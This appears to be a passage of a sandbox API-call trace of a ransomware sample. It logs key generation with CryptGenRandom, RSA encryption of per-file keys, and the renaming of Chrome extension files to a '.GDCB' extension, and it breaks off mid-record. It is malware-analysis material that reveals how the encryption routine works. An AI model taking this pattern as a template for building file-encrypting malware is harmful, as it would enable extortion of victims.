CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.004] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0234.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.008] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0234.008] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.008] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0234.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.011] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0234.012] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.012] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0234.014] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6598238) returned 1 [0234.014] CryptGetKeyParam (in: hKey=0x6598238, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.014] CryptEncrypt (in: hKey=0x6598238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x82a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0234.015] GetLastError () returned 0x0 [0234.015] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.015] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0234.016] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x65994b8) returned 1 [0234.017] CryptGetKeyParam (in: hKey=0x65994b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.017] CryptEncrypt (in: hKey=0x65994b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x82b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0234.017] GetLastError () returned 0x0 [0234.017] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.017] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.017] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0234.019] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.021] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.021] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0234.021] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.021] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0234.023] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.024] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0234.024] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.024] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0234.027] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x65995f8) returned 1 [0234.027] CryptGetKeyParam (in: hKey=0x65995f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.027] CryptEncrypt (in: hKey=0x65995f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x82c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0234.027] GetLastError () returned 0x0 [0234.027] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.027] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0234.029] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x65999b8) returned 1 [0234.029] CryptGetKeyParam (in: hKey=0x65999b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0234.029] CryptEncrypt (in: hKey=0x65999b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x82d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0234.029] GetLastError () returned 0x0 [0234.029] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.029] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.044] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.046] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.048] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.048] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.048] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.050] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.050] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.051] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.054] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598538) returned 1 [0234.054] CryptGetKeyParam (in: hKey=0x6598538, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.054] CryptEncrypt (in: hKey=0x6598538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.054] GetLastError () returned 0x0 [0234.054] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.054] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0234.057] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599bb8) returned 1 [0234.057] CryptGetKeyParam (in: hKey=0x6599bb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.057] CryptEncrypt (in: hKey=0x6599bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0234.057] GetLastError () returned 0x0 [0234.057] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0234.059] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8300000 [0234.061] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8310000 [0234.062] ReadFile (in: hFile=0x424, lpBuffer=0x8310000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8310000*, lpNumberOfBytesRead=0x285d160*=0xc8d, lpOverlapped=0x0) returned 1 [0234.081] VirtualAlloc (lpAddress=0x0, dwSize=0xc90, flAllocationType=0x3000, flProtect=0x4) returned 0x8420000 [0234.086] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.gdcb")) returned 1 [0234.090] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0234.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.094] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.094] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.094] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.098] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0234.100] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x65999f8) returned 1 [0234.100] CryptGetKeyParam (in: hKey=0x65999f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.100] CryptEncrypt (in: hKey=0x65999f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.101] GetLastError () returned 0x0 [0234.101] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.101] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.103] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659a038) returned 1 [0234.103] CryptGetKeyParam (in: hKey=0x659a038, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.103] CryptEncrypt (in: hKey=0x659a038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0234.103] GetLastError () returned 0x0 [0234.103] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0234.105] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8300000 [0234.107] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8310000 [0234.109] ReadFile (in: hFile=0x424, lpBuffer=0x8310000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8310000*, lpNumberOfBytesRead=0x285d160*=0x8f, lpOverlapped=0x0) returned 1 [0234.118] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x8420000 [0234.123] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.gdcb")) returned 1 [0234.129] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0234.131] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.133] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.133] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.133] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.136] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.137] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.137] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.137] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.139] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599c38) returned 1 [0234.139] CryptGetKeyParam (in: hKey=0x6599c38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.139] CryptEncrypt (in: hKey=0x6599c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.139] GetLastError () returned 0x0 [0234.139] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.140] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.142] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599b38) returned 1 [0234.142] CryptGetKeyParam (in: hKey=0x6599b38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.142] CryptEncrypt (in: hKey=0x6599b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x82f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0234.142] GetLastError () returned 0x0 [0234.142] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.142] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0234.143] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8300000 [0234.146] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8310000 [0234.148] ReadFile (in: hFile=0x424, lpBuffer=0x8310000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8310000*, lpNumberOfBytesRead=0x285d160*=0x5c, lpOverlapped=0x0) returned 1 [0234.157] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x8420000 [0234.169] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.gdcb")) returned 1 [0234.173] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.178] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.178] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0234.178] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.178] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0234.181] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.183] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0234.183] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.183] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0234.186] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599ff8) returned 1 [0234.186] CryptGetKeyParam (in: hKey=0x6599ff8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.186] CryptEncrypt (in: hKey=0x6599ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x82e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0234.186] GetLastError () returned 0x0 [0234.186] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.186] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0234.188] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6599eb8) returned 1 [0234.193] CryptGetKeyParam (in: hKey=0x6599eb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0234.193] CryptEncrypt (in: hKey=0x6599eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x82f0000*, 